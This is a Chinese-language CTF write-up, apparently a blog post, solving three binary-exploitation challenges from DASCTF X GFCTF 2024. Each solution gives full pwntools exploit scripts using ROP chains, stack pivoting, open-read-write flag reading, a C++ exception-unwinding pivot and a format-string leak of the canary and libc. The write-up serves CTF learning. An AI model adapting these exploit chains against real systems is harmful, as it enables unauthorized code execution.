DASCTF X GFCTF 2024|四月开启第一局[PWN] wp(详解)

DASCTF X GFCTF 2024|四月开启第一局🚩[PWN] wp(详解)

1.dynamic_but_static

题目保护情况

64位程序,没有开canary和pie保护,got表可改

64位ida载入

看一下沙箱保护,不能直接execve('/bin/sh')获取shell,也就是需要orw形式读取flag

栈上有溢出,好在都没有过滤这些gadget和地址

🚀思路:1.通过栈溢出泄露出libc地址

     2.为了防止过滤和溢出部分不够的情况,将栈迁移到bss段上执行我们的orw

     3.题目给的libc和远程有点不一样,但是偏移是固定的,找一下就好了(主要是open的地址)

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')


#io = process('./dynamic_but_static')
io = remote('node5.buuoj.cn',26153)
libc = ELF('./libcc.so.6')

pop_rdi = 0x0000000000401381 #: pop rdi ; ret

ret = 0x000000000040101a 

read_got = 0x404040
puts_plt = 0x4010D0
main_addr = 0x401386

payload = b'a'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)

io.sendline(payload)
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('read_addr----->'+hex(read_addr))
libc_base = read_addr - libc.sym.read -0x3e0
success('libc_base----->'+hex(libc_base))
bss_addr = 0x404060 + 0x240

open_addr = libc_base + 0x1146d0
pop_rax = 0x045eb0 + libc_base#: pop rax ; ret
pop_rsi = 0x2be51 + libc_base #: pop rsi ; ret
pop_rdx = 0x0796a2 + libc_base  # pop_rdx
pop_rbp = 0x4011ed
syscall=libc_base + 0x114059

leave_ret = 0x401482
payload = b'a'*0x38 + p64(pop_rdi)+ p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x500) + p64(read_addr) 
payload += p64(pop_rbp) + p64(bss_addr) + p64(leave_ret)
io.sendline(payload)
sleep(0.5)

payload = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr) 
payload += p64(ret)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr+0x200) + p64(pop_rdx) + p64(0x50) + p64(read_addr) + p64(ret)
payload += p64(pop_rdi) + p64(bss_addr+0x200) + p64(puts_plt)


io.sendline(payload)

2.Control

题目保护情况

64位程序canary保护开启,pie没有开

64位ida载入

main函数,程序是静态编译,一开始向gift上面读取内容

接着有一个明显的溢出,随之而来的还有一个try/catch异常处理,当输入的字节数大于96时会抛出异常

那么我们就不要修改read之后的返回地址了,因为程序定位 catch 段是依靠 ret 的地址,如果修改了ret的地址那么就会报错

🚀思路:1.既然不能改返回地址那么就进行栈迁移,如果异常被上一个函数的catch捕获,那么上个函数的rbp就会变成上这个函数的rbp,所以我们控制rbp实现迁移。

     2.通过迁移到bss段上的gift(因为一开始我们可以对gift处地址进行输入),由于ebx被赋值为0了,所以要找一个合适的gadget来帮rdx赋值

              3.找到一个很好的gadget(0x446200)mov     rdx, [rsi-8]经过调试,得到是把rdx的值赋值为0x91

              4.返回0x402221处刚刚好把rsi赋值为gift,而且可以进行读入操作,然后正常系统调用system拿到shell

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./control')

pop_rdi=0x401c72
pop_rsi=0x405285
pop_rdx=0x401aff
pop_rax=0x462c27

syscall=0x40161e
ret = 0x402237
gift_addr = 0x4D3350
read_addr = 0x402221
mov_rdx = 0x446200

io.recvuntil('Gift>')
io.send(p64(mov_rdx) + p64(read_addr))

io.recvuntil('control?')
payload = b'a'* 0x70 + p64(gift_addr - 0x8) + p64(ret)
#gdb.attach(io)
io.send(payload)

payload = p64(0) + p64(pop_rdi)+p64(gift_addr+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b)
payload += p64(syscall) + b'/bin/sh\x00'
#gdb.attach(io)
io.send(payload)

io.interactive()

3.Exception

题目保护情况 保护全开

64位ida载入

main函数里面有格式化字符串漏洞,也就是,elf基地址,libc基地址,和canary都可以泄露

同样是抛出异常进行处理,不同的是这题给了buf地址,不能修改vuln函数之后的返回地址,但是因为知道buf地址,进而知道main函数的返回地址,修改main函数的返回地址。

🚀思路:1.通过printf格式化字符串漏洞泄露,elf,libc,canary

     2.在main函数返回地址布置rop链,并在vuln函数输入时覆盖到rbp,进行迁移到main函数返回地址执行rop链

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./exception')
io = remote('node5.buuoj.cn',25512)
io.recvuntil('your name')
libc = ELF('./exception.so.6')
payload = '%3$paaaa%7$pbbbb%15$p'

#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
read_addr = int(io.recv(14),16) - 18
success('read_addr---->'+hex(read_addr))
libc_base = read_addr - libc.sym['read']
success('libc_base---->'+hex(libc_base))
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').__next__()+ libc_base
io.recvuntil('aaaa')
canary = int(io.recv(18),16)
success('canary----->'+hex(canary))
io.recvuntil('bbbb')
elf_base = int(io.recv(14),16) - 0x1360
success('elf_base----->'+hex(elf_base))


pause()
pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret
ret = libc_base + 0x0000000000022679 #: ret
io.recvuntil('stack')
buf_addr = int(io.recv(16),16)
success('buf_addr------>'+hex(buf_addr))
rbp = buf_addr + 0xa0
success('rbp----->'+hex(rbp))
#gdb.attach(io)
pause()
io.recvuntil('exception?')
main_addr = elf_base + 0x1360
payload = b'a'*0x68+p64(canary) + p64(rbp) + p64(elf_base+0x1408) + p64(0) + p64(canary) + p64(0)*3 + p64(ret) 
payload += p64(pop_rdi) + p64(binsh) + p64(system)
#gdb.attach(io)


io.sendline(payload)





io.interactive()

  • 19
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值